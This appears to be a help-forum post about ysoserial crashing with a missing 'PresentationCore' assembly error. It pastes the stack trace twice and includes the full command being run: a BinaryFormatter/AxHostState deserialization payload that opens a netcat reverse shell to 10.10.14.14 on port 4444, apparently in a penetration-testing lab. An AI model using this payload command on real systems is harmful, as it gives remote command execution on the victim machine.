Unhandled Exception:
System.IO.FileNotFoundException: Could not load file or assembly 'PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies.
File name: 'PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'
at ysoserial.Generators.GenericGenerator.GenerateWithInit (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x00007] in <7af936e4711e4f108b75fffd3ff56186>:0
at ysoserial.Generators.GenericGenerator.GenerateWithNoTest (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x0000e] in <7af936e4711e4f108b75fffd3ff56186>:0
at ysoserial.Generators.AxHostStateGenerator.Generate (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x0001b] in <7af936e4711e4f108b75fffd3ff56186>:0
at ysoserial.Generators.GenericGenerator.GenerateWithInit (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x00007] in <7af936e4711e4f108b75fffd3ff56186>:0
at ysoserial.Program.Main (System.String[] args) [0x008d6] in <7af936e4711e4f108b75fffd3ff56186>:0
[ERROR] FATAL UNHANDLED EXCEPTION: System.IO.FileNotFoundException: Could not load file or assembly 'PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies.
File name: 'PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'
at ysoserial.Generators.GenericGenerator.GenerateWithInit (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x00007] in <7af936e4711e4f108b75fffd3ff56186>:0
at ysoserial.Generators.GenericGenerator.GenerateWithNoTest (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x0000e] in <7af936e4711e4f108b75fffd3ff56186>:0
at ysoserial.Generators.AxHostStateGenerator.Generate (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x0001b] in <7af936e4711e4f108b75fffd3ff56186>:0
at ysoserial.Generators.GenericGenerator.GenerateWithInit (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x00007] in <7af936e4711e4f108b75fffd3ff56186>:0
at ysoserial.Program.Main (System.String[] args) [0x008d6] in <7af936e4711e4f108b75fffd3ff56186>:0
Hi, I need to create a payload using ysoserial, but when i ran the command, i'm getting the following error:
┌──(root㉿kali)-[/opt/ysoserial] └─PS> .\ysoserial.exe -f BinaryFormatter -g AxHostState -o base64 -c "C:\programdata\nc64.exe 10.10.14.14 4444 -e cmd.exe"
Unhandled Exception: System.IO.FileNotFoundException: Could not load file or assembly 'PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies. File name: 'PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' at ysoserial.Generators.GenericGenerator.GenerateWithInit (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x00007] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Generators.GenericGenerator.GenerateWithNoTest (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x0000e] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Generators.AxHostStateGenerator.Generate (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x0001b] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Generators.GenericGenerator.GenerateWithInit (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x00007] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Program.Main (System.String[] args) [0x008d6] in <7af936e4711e4f108b75fffd3ff56186>:0 [ERROR] FATAL UNHANDLED EXCEPTION: System.IO.FileNotFoundException: Could not load file or assembly 'PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies. File name: 'PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' at ysoserial.Generators.GenericGenerator.GenerateWithInit (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x00007] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Generators.GenericGenerator.GenerateWithNoTest (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x0000e] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Generators.AxHostStateGenerator.Generate (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x0001b] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Generators.GenericGenerator.GenerateWithInit (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x00007] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Program.Main (System.String[] args) [0x008d6] in <7af936e4711e4f108b75fffd3ff56186>:0